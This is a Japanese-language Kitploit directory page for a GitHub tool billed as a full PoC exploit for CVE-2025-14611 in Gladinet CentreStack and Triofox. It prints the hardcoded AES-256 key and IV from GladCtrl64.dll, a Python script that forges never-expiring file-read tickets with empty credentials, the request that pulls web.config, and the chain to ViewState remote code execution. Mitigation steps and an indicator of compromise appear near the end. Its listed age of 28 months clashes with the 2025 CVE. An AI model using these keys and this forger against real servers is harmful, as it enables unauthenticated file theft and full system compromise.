Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit — CVE-2025-14611 CentreStack および Triofox 完全なPoc/Exploit | Kitploit
ツール/GitHubGitHub/pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit
脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用暗号化ペネトレーションテスト認証レッドチーミングペイロード開発
GitHubpl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

CVE-2025-14611 CentreStack および Triofox 完全なPoc/Exploit

リポジトリを見る
28ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-14611 CentreStack および Triofox の完全な PoC/Exploit

概要

この脆弱性は、Gladinet CentreStack および Triofox 製品におけるハードコードされた暗号鍵に起因し、偽造されたアクセスチケットを通じて任意のファイル読み取りを可能にします。AES-256 暗号化の実装では、アプリケーションのバイナリ(GladCtrl64.dll)に直接埋め込まれた静的で不変の鍵が使用されており、これらの鍵を抽出した攻撃者は以下のことを実現できます。

  1. 正規のアクセスチケットを復号し、内部のファイルパスやシステム構成を把握する
  2. 有効期限が切れないタイムスタンプを持つ悪意のあるアクセスチケットを偽造し、サーバー上の任意のファイルを読み取る
  3. ユーザー名とパスワードフィールドを空のままにすることで認証をバイパスし、アプリケーションを IIS アプリケーションプール ID にフォールバックさせる
  4. この脆弱性を CVE-2025-30406(ViewState デシリアライゼーション)と連鎖させ、リモートコード実行を達成する

この脆弱性は、バージョン 16.12.10420.56791 より前のすべての Gladinet CentreStack および Triofox バージョンに影響し、少なくとも 2025 年 11 月以降、実際に悪用されています。

分析

1. 鍵の生成と保存

脆弱性は、GladCtrl64.dll における暗号鍵の生成と保存方法に起因します。GenerateSecKey および GenerateSecKey1 関数は、AES 暗号鍵と初期化ベクトル(IV)を提供する役割を担っています。

鍵生成フロー:

CentreStack サーバーアプリケーションが起動すると、SysKeyMgr クラスが AccessKeyMgr64.GetSysEncKey を呼び出し、これが 内の を呼び出します。この関数は次のようになります。

GladCtrl64.dll
GenerateSecKey
root@kitploit:~
PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

この関数は、Windows API WideCharToMultiByte を使用して UTF-16LE エンコードされた文字列を UTF-8 に変換します(コードページ 0xfde9)。ソースデータは 2 つの静的メモリ位置に格納されています。

  • 鍵ソース (0x18000c000): 中国語テキストを含む 100 バイトの UTF-16LE 文字列
  • IV ソース (0x18000c2c0): "moDriv" で始まり日本語テキストが続く 100 バイトの UTF-16LE 文字列

重要な発見: これらの文字列は、ソフトウェアのインストール間で決して変化しません。GenerateSecKey という関数名は誤解を招きます。動的に鍵を生成するのではなく、バイナリ内の既存の静的文字列を単に返すだけです。

2. ハードコードされた鍵

リバースエンジニアリング解析により、GladCtrl64.dll の .data セクションからハードコードされた鍵が抽出されました。

メモリ位置 0x18000c000 (鍵ソース):

root@kitploit:~
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

UTF-16LE から UTF-8 にデコードすると、次の中国語テキストが生成されます。

root@kitploit:~
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

メモリ位置 0x18000c2c0 (IV ソース):

root@kitploit:~
6d 6f 44 72 69 76 65 00   // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

デコードすると、次のようになります。

root@kitploit:~
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

最終的な暗号鍵:

アプリケーションは、UTF-8 エンコードされた鍵ソースの最初の 32 バイトを AES-256 鍵として使用し、UTF-8 エンコードされた IV ソースの最初の 16 バイトを初期化ベクトルとして使用します。

root@kitploit:~
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. 脆弱なファイルダウンロードハンドラ

この脆弱性は、filesvr.dn HTTP ハンドラを通じて悪用されます。このハンドラは GladinetStorage.FileDownloadHandler クラスにマッピングされており、クエリパラメータ t で渡された暗号化アクセスチケットを処理します。

アクセスチケットの構造:

アクセスチケットは、AES-256-CBC で暗号化された改行区切りのフィールドです。

root@kitploit:~
行 0: ファイルパス(サーバー上の絶対パス)
行 1: ユーザー名(偽装する Windows アカウント)
行 2: パスワード(そのアカウントの資格情報)
行 3: タイムスタンプ(チケット作成時刻)

復号プロセス:

  1. ハンドラは t パラメータを受け取り、カスタムサニタイズを実行します(URL 安全な文字を置換: : → +、| → /)
  2. 値は Base64 デコードされ、暗号文が得られます
  3. AccessTicket.Decrypt が呼び出され、静的 SysKey(最初の 32 バイト)と SysKey1(最初の 16 バイト)が取得されます
  4. これらの鍵を使用して AES-256-CBC 暗号が構成されます
  5. チケットが復号され、解析されます

タイムスタンプ検証のバイパス:

ハンドラはチケットのタイムスタンプと現在のサーバー時刻を比較します。チケットが 4 時間より古い場合は拒否されます。しかし、攻撃者はタイムスタンプを西暦 9999 年に設定することで、決して期限切れにならないチケットを作成できます。

root@kitploit:~
9999-11-27 14:52:04.009217

これにより、無期限に再利用可能な永続的なバックドアが作成されます。

4. 空の資格情報による認証バイパス

復号後、ハンドラはユーザー名とパスワードフィールドを抽出し、偽装コンテキストの初期化を試みます。重要な脆弱性: 両方のフィールドが空文字列の場合、偽装ロジックは失敗し、IIS アプリケーションプール ID にフォールバックします。

これにより、認証なしでの任意のファイル読み取りが可能になります。アプリケーションは昇格された権限で実行されますが、有効な資格情報は必要ありません。

悪意のあるチケットの例:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[空]
[空]
9999-11-27 14:52:04.009217

5. 実際の悪用

2025 年 11 月以降、活発な悪用が観測されています。攻撃者は次のパターンに従います。

ステップ 1: アクセスチケットの偽造

抽出した鍵を使用して、攻撃者は web.config を対象とした暗号化チケットを作成します。

root@kitploit:~
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

ステップ 2: 悪意のあるリクエストの送信

偽造されたチケットは脆弱なエンドポイントに送信されます。

root@kitploit:~
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

ステップ 3: マシンキーの抽出

レスポンスには、マシンキーを含む web.config ファイルが含まれます。

root@kitploit:~
<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

ステップ 4: CVE-2025-30406 との連鎖

これらのマシンキーにより ViewState デシリアライゼーション攻撃が可能になり、リモートコード実行に至ります。攻撃者は抽出したキーで署名された悪意のある ViewState ペイロードを作成し、完全なシステム侵害を達成します。

6. 実際の攻撃例

観測された悪用試行(2025 年 12 月)から:

攻撃者からの暗号化チケット:

root@kitploit:~
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

復号された内容:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[空]
[空]
9999-11-27 14:52:04.009217

攻撃元: IP アドレス 147.124.216[.]205
被害組織: 医療、テクノロジー、プロフェッショナルサービスの各セクターで 9 件の確定被害
攻撃のタイムライン: 2025 年 11 月に最初の悪用試行が発生し、2025 年 12 月にエスカレート

結論

CVE-2025-14611 は、暗号鍵管理における重大な欠陥を示しています。静的で不変の鍵をアプリケーションバイナリに直接埋め込むことにより、Gladinet はすべてのインストールで機能する万能マスターキーを作成してしまいました。この脆弱性は、いくつかの深刻なセキュリティ上の失敗を明らかにしています。

  1. ハードコードされた暗号: 静的鍵を使用すると、暗号化のセキュリティ上の利点がすべて失われる
  2. 認証バイパス: 空の資格情報処理により、認証なしのアクセスが可能になる
  3. 期限切れにならないチケット: 遠い未来のタイムスタンプにより永続的なバックドアが作成される
  4. エクスプロイト連鎖: CVE-2025-30406 と組み合わせることで、完全なシステム侵害が可能になる

緩和策の推奨事項:

  • 即時: CentreStack/Triofox バージョン 16.12.10420.56791 以降に更新する
  • 重要: パッチ適用後、web.config のマシンキーをローテーションする
  • 防御: IIS ログで /storage/filesvr.dn へのアクセスと不審な t パラメータを監視する
  • 検出: 指標 vghpI7EToZUDIZDdprSubL3mTZ2(web.config パスの暗号化表現)についてログを検索する
  • ネットワーク: 信頼できないネットワークからの CentreStack へのインバウンドアクセスをブロックする

侵害指標:

次の文字列を含む HTTP リクエスト:

root@kitploit:~
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

このサブストリングは、web.config 取得のためにこの脆弱性を悪用しようとする試みを一意に識別します。

ツールをダウンロード